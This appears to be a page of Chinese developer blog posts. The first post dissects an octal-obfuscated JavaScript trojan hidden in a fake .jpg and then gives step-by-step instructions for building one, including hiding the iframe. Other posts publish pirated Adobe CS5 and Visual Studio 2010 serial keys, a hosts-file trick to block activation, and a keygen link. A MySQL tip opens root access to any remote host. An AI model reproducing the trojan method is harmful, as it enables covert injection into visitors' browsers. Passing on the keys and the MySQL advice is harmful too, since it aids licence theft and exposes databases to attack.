博客 (844)

探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 15 年前
6,416

本文介绍了如何开发一个简单的 Chrome 扩展(extension)。我们要实现我的功能是,当点击图标时显示一个动态的页面(层),效果如下:

安装 Chrome

虽然开发完成的扩展能在“稳定版”谷歌浏览器中使用,但是你必需安装“开发版”谷歌浏览器才能完成开发调试工作。

创建扩展

这一步,我们要在 Chrome 的工具栏上添加一个扩展的图标。

1,在你电脑上的任意位置创建一个文件夹。

2,在该文件夹下创建一个文本文件,并改名为“manifest.json”,然后添加内容:

{
  "name": "My First Extension",
  "version": "1.0",
  "description": "The first extension that I made.",
  "browser_action": {
    "default_icon": "icon.png"
  },
  "permissions": [
    "http://api.flickr.com/"
  ]
}

3,下载这个图标并保存至该文件夹下。

4,加载扩展。

  • 点击 Chrome 工具栏上的扳手按钮,选择“扩展程序(E)”
  • 在打开的页面右侧点击“开发人员模式”
  • 点击“载入正在开发的扩展程序”,浏览到刚才创建的文件夹目录,点击确定。

不出意外,Chrome 工具栏上将显示刚才的图标,但是现在点击它没有任何反应,我们继续。

5,这一步,我们要让它弹出一个页面,并显示一些内容。

  • 打开“manifest.json”文件,找到
      "browser_action": {
        "default_icon": "icon.png"
      },
    替换为
      "browser_action": {
        "default_icon": "icon.png",
        "popup": "popup.html"
      },
    保存关闭。
  • 然后创建一个名为“popup.html”的文件,内容是:
    <style>
      body { min-width: 357px; overflow-x: hidden; }
      img { margin: 5px; border: 2px solid black; vertical-align: middle; width: 75px; height: 75px; }
    </style>
    
    <script>
      var req = new XMLHttpRequest();
      req.open(
        "GET",
        "http://api.flickr.com/services/rest/?" +
            "method=flickr.photos.search&" +
            "api_key=90485e931f687a9b9c2a66bf58a3861a&" +
            "text=hello%20world&" +
            "safe_search=1&" +  // 1 is "safe"
            "content_type=1&" +  // 1 is "photos only"
            "sort=relevance&" +  // another good one is "interestingness-desc"
            "per_page=20",
        true);
      req.onload = showPhotos;
      req.send(null);
    
      function showPhotos() {
        var photos = req.responseXML.getElementsByTagName("photo");
    
        for (var i = 0, photo; photo = photos[i]; i++) {
          var img = document.createElement("image");
          img.src = constructImageURL(photo);
          document.body.appendChild(img);
        }
      }
    
      // See: http://www.flickr.com/services/api/misc.urls.html
      function constructImageURL(photo) {
        return "http://farm" + photo.getAttribute("farm") +
          ".static.flickr.com/" + photo.getAttribute("server") +
          "/" + photo.getAttribute("id") +
          "_" + photo.getAttribute("secret") +
          "_s.jpg";
      }
    </script>
  • 回到“扩展程序”页面,找到正在开发的扩展,点击“重新载入”。
  • 现在再点击 Chrome 工具栏上的图标试试。

如果没有出现应有效果,请再仔细检查每一步骤。怎么样,非常简单吧!

5,611

Adobe CS5 正式版已经发布快一个月了,但是官方在前几天才刚刚开放了下载地址,而且仅有英文版,因此目前还没有官方的中文版,昨天在网上找了 Adobe Fireworks CS5 简体中文正式版,下载过来也是英文的。今天想碰碰运气找找序列号,竟意外地发现在一个国外的网站上提供了 CS5 几乎所有软件的注册机,真是 NiuBility。欣喜之余立即转了过来分享给大家~

首先

注册之前必须先用记事本打开:C:\WINDOWS\System32\drivers\etc\hosts
并往文件底部插入一行:127.0.0.1 activate.adobe.com

提供几枚先
!!!KEYGENNED SUITE KEYS:

Adobe Master Collection CS5 (tam/CORE):
1325-1056-1721-5483-9561-1437
1325-1697-3070-1098-9235-2681
1325-1053-5574-1374-0738-5522

Adobe Production Premium CS5 (tam/CORE):
1328-1354-8980-4611-7999-9461
1328-1892-4564-0306-8662-6350
1328-1226-7796-3732-4210-1386

~~~~~~~~~~~

!!!KEYGENNED APP KEYS:

Adobe Contribute CS5 (tam/CORE):
1188-1379-4455-8095-5270-5876
1188-1950-8045-8637-2637-8020
1188-1335-7259-9409-4951-8039

Adobe Fireworks CS5 (tam/CORE):
1193-1084-4981-0714-3104-9930
1193-1467-1783-0212-2995-3642
1193-1259-5223-4748-0540-5065

Adobe Flash Catalyst CS5 (tam/CORE):
1395-4353-1506-8696-1696-5354
1395-4196-7716-8853-8314-6439
1395-4794-0416-4644-3356-5759

Adobe Illustrator CS5 (tam/CORE):
1034-1638-2536-3789-7332-0552
1034-1678-4702-3914-4860-7678
1034-1840-4333-8452-8585-3296

Adobe Photoshop CS5 Extended:
1330-1397-1014-7571-2817-1355
1330-1250-9206-4495-3796-9368
1330-1331-8999-1502-9478-2917

Adobe Flash Pro CS5:
1302-1445-0965-0690-4402-0847
1302-1624-0431-3332-4638-9106
1302-1136-2269-9942-6545-4889

Adobe DreamWeaver CS5:
1192-1147-3018-0779-2193-4575
1192-1026-3909-1273-5298-0418
1192-1324-2160-7298-8532-9714

Adobe InDesign CS5:
1037-1140-6820-9728-5246-6934
1037-1154-7427-5295-2060-8570
1037-1325-9186-3970-2037-7519

~~~~~~~~~~~

!!!KEYS FOR OTHER APPS:

Adobe Encore CS5:
1132-1127-8739-4724-1356-4304

Adobe Soundbooth CS5:
1332-1281-2401-7141-7851-9214

Adobe OnLocation CS5:
1132-1434-9226-7415-1756-2046
下载注册机

普通下载 迅雷下载

友情提示

以上提供的注册机来自国外网站,经本人用 360 木马云查杀以及 Microsoft Security Essentials 检查无异常。为安全起见,请下载后使用自己安装的杀毒软件再次扫描。

38,946

xoyozo 曾经写过 简单实现在 ASP.NET 中执行 URL 重写,文中提到使用微软的 URLRewriter.dll 来配置实现 ASP.NET 的 URL 重写,并以此扩展为任意扩展名及目录的 URL 重写。本文在此基础上再次扩展,使之支持泛域名解析。

首先,您的网站必需放在独立服务器或 VPS 中,虚拟空间可能不支持泛解析。

进入域名控制面板,配置 A 记录:通配符(*)星号解析到网站所在的 IP。

根据前文配置 URL 重写。

<configuration> 节点下配置:

<RewriterConfig>  
<Rules>  
<RewriterRule>   
<LookFor>http://([a-zA-Z0-9-]+)\.域名/</LookFor>  
<SendTo>~/u.aspx?u=$1</SendTo>  
</RewriterRule>  
</Rules>  
</RewriterConfig>
xoyozo 16 年前
6,661

使网页变灰色,只需要一句 css 代码:

html { filter: grayscale(1); }

在 I10 / IE11 上的兼容方案需要 grayscale.js,参考此文:http://www.cnblogs.com/wangmeijian/p/4324693.html

CSS 背景图片变灰:https://stackoverflow.com/questions/16340159/greyscale-background-css-images


xoyozo 16 年前
8,781

我们经常需要使用拼音首字母来检索数据库,特别是应用于医院、商店等行业软件中。譬如搜索“zgr”就可以搜索所有包含“中国人”的记录。那么如果来实现才能即高效又方便呢?

方法一:先查询出所有记录,然后在逻辑层转化为拼音首字母后查询,显然傻瓜才会这么做。

方法二:在需要搜索的表中添加一个字段用于存放被检索字段内容对应的拼音,在搜索的时候同时去查询这两个字段,这种方法可行,但会增加数据库存放的大小。

方法三:在数据库中建立一个标量值函数,在执行查询语句时通过此函数来转化搜索,函数如下:

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		xoyozo
-- Create date: 2010-4-17
-- Description:	提供中文首字母
-- =============================================
CREATE FUNCTION fun_getPY
(
	@str NVARCHAR(4000)
)
RETURNS NVARCHAR(4000)
AS
BEGIN
	DECLARE @word NCHAR(1),@PY NVARCHAR(4000)
	SET @PY=''
	WHILE len(@str)>0
	BEGIN
		SET @word=left(@str,1)
		SET @PY=@PY+(CASE WHEN unicode(@word) BETWEEN 19968 AND 19968+20901
		THEN (SELECT TOP 1 PY FROM (
		SELECT 'A' AS PY,N'驁' AS word
		UNION ALL SELECT 'B',N'簿'
		UNION ALL SELECT 'C',N'錯'
		UNION ALL SELECT 'D',N'鵽'
		UNION ALL SELECT 'E',N'樲'
		UNION ALL SELECT 'F',N'鰒'
		UNION ALL SELECT 'G',N'腂'
		UNION ALL SELECT 'H',N'夻'
		UNION ALL SELECT 'J',N'攈'
		UNION ALL SELECT 'K',N'穒'
		UNION ALL SELECT 'L',N'鱳'
		UNION ALL SELECT 'M',N'旀'
		UNION ALL SELECT 'N',N'桛'
		UNION ALL SELECT 'O',N'漚'
		UNION ALL SELECT 'P',N'曝'
		UNION ALL SELECT 'Q',N'囕'
		UNION ALL SELECT 'R',N'鶸'
		UNION ALL SELECT 'S',N'蜶'
		UNION ALL SELECT 'T',N'籜'
		UNION ALL SELECT 'W',N'鶩'
		UNION ALL SELECT 'X',N'鑂'
		UNION ALL SELECT 'Y',N'韻'
		UNION ALL SELECT 'Z',N'咗'
		) T 
		WHERE word>=@word COLLATE Chinese_PRC_CS_AS_KS_WS 
		ORDER BY PY ASC) ELSE @word END)
		SET @str=right(@str,len(@str)-1)
	END
	RETURN @PY
END

使用方法:

select * from 表 where fun_getPY(字段) like N'%zgr%'

此方法是最快捷方便的,通过测试在文章表中搜索标题首字母,其耗时大约为不使用此函数搜索的 3 倍,相信部署在小数据量的项目中的成本是非常低的。

LINQ 方式操作

初学 LINQ 的朋友或许对 .dbml 文件不是很熟悉,数据库中的表可以直接拖动到 .dbml 的左侧,而存储过程、函数等可以直接拖到其右侧,然后就可以直接在逻辑使用了,下面是例子:

DataClassesXDataContext db = new DataClassesXDataContext();
var q = from d in db.Documents
	where d.Title.Contains("zgr") || db.fun_getPY(d.Title).Contains("zgr")
	select d;
9,513

第一步:生成执行语句

declare @name sysname
declare csr1 cursor
for
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
open csr1

FETCH NEXT FROM csr1 INTO @name
while (@@FETCH_STATUS=0)
BEGIN
SET @name='旧架构名.' + @name

print 'ALTER SCHEMA 新架构名 TRANSFER ' + @name
fetch next from csr1 into @name
END
CLOSE csr1

第二步:执行上面命令生成的结果

xoyozo 16 年前
4,954

公司有个项目是使用实体刷卡的会员管理系统,并为其它系统如餐饮系统、美发厅管理系统等提供统一的会员注册与信息管理。暂定使用一维条形码卡。

一般来说,商品最常用的编码是EAN-13,而非商品(如图书馆会员卡,驾驶证条码等)一般使用39码。

39码 在线测试地址:http://xoyozo.net/Tools/Code39

EAN-13 在线测试地址:http://xoyozo.net/Tools/EAN-13

 

39码

39码比较简单,条码以“*”为起始符和终止符,见下图:

 

 

它所能表示的字符包括:0~9 的数字,大写 A~Z 的英文字母,「+」,「-」,「*」,「/」,「%」,「$」,「.」,以及空格符(Space)等,共44组编码。

39码表:“0”对应白色空位,“1”对应黑色线条。

字元 逻辑型态 字元 逻辑型态
A 110101001011 N 101011010011
B 101101001011 O 110101101001
C 110110100101 P 101101101001
D 101011001011 Q 101010110011
E 110101100101 R 110101011001
F 101101100101 S 101101011001
G 101010011011 T 101011011001
H 110101001101 U 110010101011
I 101101001101 V 100110101011
J 101011001101 W 110011010101
K 110101010011 X 100101101011
L 101101010011 Y 110010110101
M 110110101001 Z 100110110101

 

字元 逻辑型态 字元 逻辑型态
0 101001101101 + 100101001001
1 110100101011 - 100101011011
2 101100101011 * 100101101101
3 110110010101 / 100100101001
4 101001101011 % 101001001001
5 110100110101 $ 100100100101
6 101100110101 . 110010101101
7 101001011011 空白 100110101101
8 110100101101    
9 101100101101    

 

值得注意的是,39码生成的条形中,每个码之间有一个空位,经扫描枪测试,该空位与一个单位的线条宽度相等时,能确保被正确扫描。

代码见附件

 

EAN-13码

EAN-13码是由13位数字构成,其中最后一位为校验码:

 

 

 

 

左侧空白区 起始符 左侧数据符 中间分隔符 右侧数据符 校验符 终止符 右测空白区
9个模块 3个模块 42个模块 5个模块 35个模块 7个模块 3个模块 9个模块

 

 校验码计算的步骤如下: 以 234235654652 为例:

  数据码 校验码
代码位置序号 13 12 11 10 9 8 7 6 5 4 3 2 1
数字码 2 3 4 2 3 5 6 5 4 6 5 2 ?
偶数位   3 + 2 + 5 + 5 + 6 + 2  
奇数位 2 + 4 + 3 + 6 + 4 + 5    

 

 

① 从序号2开始,将所有偶数位的数字代码求和,得出S1;  S1=3+2+5+5+6+2=23

② 从序号3开始,将所有奇数位的数字求和,得出S2;  S2=2+4+3+6+4+5=24

③ S3=S1*3+S2;  S3=23*3+24=93

④ C=10-(S3的个位数),得到校验码C的值。并且当S3的个位数为0时,C=0。  C=10-3=7

 EAN码的编码规则: 


数字符
左侧数据符 右侧数据符
A B C
0 0001101 0100111 1110010
1 0011001 0110011 1100110
2 0010011 0011011 1101100
3 0111101 0100001 1000010
4 0100011 0011101 1011100
5 0110001 0111001 1001110
6 0101111 0000101 1010000
7 0111011 0010001 1000100
8 0110111 0001001 1001000
9 0001011 0010111 1110100

 (关于左侧数据符,网络上的资料均显示A3及B6为6位数,经本人实践亲自查证,已修正)

起始符:101
中间分隔符:01010
终止符:101。
A、B、C中的“0”和“1”分别表示具有一个模块宽度的“空”和“条”。
因为左侧数据编码方式有两种,要按照前置码选其中一种,如表:

前置字符 左侧数据符编码规则的选择
0 A A A A A A
1 A A B A B B
2 A A B B A B
3 A A B B B A
4 A B A A B B
5 A B B A A B
6(中国) A B B B A A
7 A B A B A B
8 A B A B B A
9 A B B A B A

 

6903244981002 (心相印软抽100抽) 为例:前置码为6,编码规则为 000000000101ABBBAA01010CCCCCC101000000000
再对应码表替换ABC,结果为:00000000010100010110100111010000100110110100011010001101010111010010010001100110111001011100101101100101000000000
 

 

xoyozo 16 年前
16,148
下载最新版 Visual Studio 请点击这里:http://xoyozo.net/Software/Visual_Studio

 

前日(2010年4月12日),微软正式发布了 Microsoft Visual Studio 2010,相信这是个让众多微软开发者们心情激动的一天吧。至于 VS是啥米东东之类的就不再解释了,相关人员请移步维基百科

 

微软称 Visual Studio 2010 集成开发环境(IDE)的界面被重新设计和组织,变得更加清晰和简单。新的 IDE 更好的支持了多文档窗口以及浮动工具窗,并且对于多显示器的支持也有所增强。IDE的外壳使用 WPF 重写,内部使用 MEF 重新设计,以提供比先前版本更好的扩展性。

版本说明

VS2010 的版本较之前版本有所不同,取消了标准版、团队版命名方式等,而采用跟 Window 7 一致的:

产品功能 Professional (专业版) Premium (高级版) Ultimate (旗舰版)
测试和诊断
测试工具
集成开发环境
数据库开发
开发平台支持
体系结构和建模 ×
Lab Management × ×
Team Foundation Server
MSDN 订阅
价格 $1,199 $5,469 $11,899

(注:√ 支持 × 不支持 ≈ 部分支持)

旗舰版下载地址(官方简体中文版)

“只选贵的”符合天朝国情。许多大侠认为官方下载的肯定是未破解的,那是您的错,其实微软也是一只河蟹,记住一个公式:Trial(测试版)+ Key(序列号)= 正式版

分卷下载:(下载后双击part1.exe解压为 VS2010UltimTrial.iso)
VS2010UltimTrialCHS_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载: X16-60997VS2010UltimTrialCHS.iso 官网下载 迅雷下载
CRC: 0x3DB619A0
SHA-1: 0x8BA7308E1F74AEE8DE6094CE04F78CD21486608D

旗舰版下载地址(官方英文版)

分卷下载:(下载后双击part1.exe解压为 VS2010UltimTrial.iso)
VS2010UltimTrial_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载: X16-42552VS2010UltimTrial1.iso 官网下载 迅雷下载
CRC: 0x8095c67f
SHA-1: 0x8371f6a8d090063fcc320617e94854374633df3c

关心的话题

钥匙:YCFHQ-9DWCY-DKV88-T2TMH-G7BHP(需刮开才能看到,显示器刮坏请找经销商)

40,036
今天在用远程连接Mysql服务器的数据库,不管怎么弄都是连接不到,错误代码是1130,ERROR 1130: Host 192.168.2.159 is not allowed to connect to this MySQL server
猜想是无法给远程连接的用户权限问题。结果这样子操作mysql库,即可解决。在本机登入mysql后,更改 “mysql” 数据库里的 “user” 表里的 “host” 项,从”localhost”改称'%'。。

mysql -u root -p
mysql>use mysql;
mysql>select 'host' from user where user='root';
mysql>update user set host = '%' where user ='root';
mysql>flush privileges;
mysql>select 'host' from user where user='root';
第一句是以权限用户root登录
第二句:选择mysql库
第三句:查看mysql库中的user表的host值(即可进行连接访问的主机/IP名称)
第四句:修改host值(以通配符%的内容增加主机/IP地址),当然也可以直接增加IP地址
第五句:刷新MySQL的系统权限相关表
第六句:再重新查看user表时,有修改。。
重起mysql服务即可完成。
7,077